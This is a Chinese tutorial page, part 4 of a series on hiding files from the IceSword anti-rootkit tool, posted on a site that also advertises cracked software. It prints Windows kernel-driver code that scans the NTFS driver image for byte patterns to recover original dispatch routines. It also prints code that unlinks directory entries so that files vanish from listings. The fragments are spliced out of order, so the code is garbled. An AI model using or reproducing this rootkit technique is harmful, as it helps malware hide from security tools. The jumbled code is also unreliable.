免费教程_免费网赚教程_破解版软件-寂涯网络学习基地

当前位置: 主页 > 系统综合 > 各类编程 > 绕过冰刃IceSword隐藏文件(4)

绕过冰刃IceSword隐藏文件(4)

时间:2012-01-05 18:22来源:未知 整理:寂涯网络 点击:


(FileContent[i+2]==0x68))
         {
                                    
OldIrpDispatchRoutine=*(DWORD*)(&FileContent[i+3]);

  break;   
         }
         } 
       ExFreePoolWithTag(FileContent,0);
            if (OldIrpDispatchRoutine)
            {
FileContent2=ExAllocatePoolWithTag(NonPagedPool,0x100,0);
         if (!FileContent2)
            return result;
         RtlZeroMemory((PUCHAR)FileContent2,0x100);
         NtfsCodestartAddress =
OldIrpDispatchRoutine - ImageBase;
         byteOffset.LowPart = NtfsCodestartAddress;
                              byteOffset.HighPart= 0x0;  

currentDirInfo->NextEntryOffset =0;
            break;
    }
    else
    {
             //指针往后移动,考虑到是文件链表的形式
               int iPos=((ULONG)currentDirInfo)  -
(ULONG)((PFILE_BOTH_DIR_INFORMATION)buf);
               int iLeft=(ULONG)*lpBufLenth  - iPos -
currentDirInfo->NextEntryOffset;
RtlCopyMemory((PVOID)currentDirInfo,(PVOID)( (char*)currentDirInfo+curre
ntDirInfo->NextEntryOffset ),(ULONG)iLeft);                
               continue;
    }
    }
   lastDirInfo = currentDirInfo;
      currentDirInfo =
(PFILE_BOTH_DIR_INFORMATION)((char*)currentDirInfo+currentDirInfo->NextE
ntryOffset);
 } while(!bLastOne);
    return;
}
         status =
ZwReadFile(hFile,NULL,NULL,NULL,&iosb,FileContent2,0x100,&byteOffset,NUL
L);
            if (NT_SUCCESS(status))
            {
                i=0;
while (i<0x100)
          {
             if
((FileContent2[i]==0xFF)&&(FileContent2[i+1]==0x75)&&(FileContent2[i+2]=
=0xE4)&&(FileContent2[i+3]==0xE8))
             {
            CallHooK =
*(DWORD*)(&FileContent2[i+4]);
           CallHooK+=8;
              CallHooK+=i;
           break;
          }
              i++;
          }
  ExFreePoolWithTag(FileContent2,0);
          result = NtfsCodestartAddress+CallHooK;
             ZwClose(hFile);
          return result;
         }                 
       }
         }       
       }       

本页地址 http://www.jybase.net/biancheng/20120105742.html

百度搜索更多

谷歌搜索更多

顶一下
(0)
0%
踩一下
(0)
0%
------分隔线----------------------------

评价:
昵称: 验证码:点击我更换图片
推荐内容
赞助商
赞助商


关于本站免责声明视频更新google百度地图视频地图RRS订阅

如有什么问题请在本站留言,或发邮件到 hxt167#foxmail.com